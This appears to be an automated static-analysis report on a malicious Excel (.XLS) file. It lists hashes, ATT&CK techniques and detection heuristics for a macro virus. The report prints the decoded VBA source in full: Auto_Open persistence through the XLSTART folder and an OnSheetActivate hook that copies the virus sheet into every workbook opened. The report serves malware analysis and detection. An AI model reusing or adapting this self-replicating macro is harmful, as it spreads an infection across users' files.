Valyria — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 9d51bfa3de1a91c4…

MALICIOUS

Office (OLE) / .XLS

214.5 KB Created: 2010-06-24 06:27:32 Authoring application: Microsoft Excel First seen: 2026-06-24
MD5: a06be87f7314d9186a752e764e871a7b SHA-1: 22e3008b62bee0dd029ae7b2a7eff3a250cc5c5c SHA-256: 9d51bfa3de1a91c4111a1b4476bbfe75fa408fce56af6922dd35fc573ae8dab4
170 Risk Score

Malware Insights

Valyria · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1505.003 Service Execution: Script

The sample is a malicious Excel file containing VBA macros. The Auto_Open macro attempts to copy the workbook to the Excel XLSTART startup folder as 'mypersonel1.xls', establishing persistence. It also sets an OnSheetActivate hook to infect other workbooks, indicating a spreading mechanism.

Heuristics 6

  • ClamAV: Xls.Virus.Valyria-10004391-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10004391-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://d.docs.live.net/6 In document text (OLE body)
    • https://d.docs.live.net/1In document text (OLE body)
    • https://d.docs.live.net/3In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1422 bytes
SHA-256: f9494508fc1d767069f5554a30fac3ac8770dd0840bd06d0b8cd1c05c832e737
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"


Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
   
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True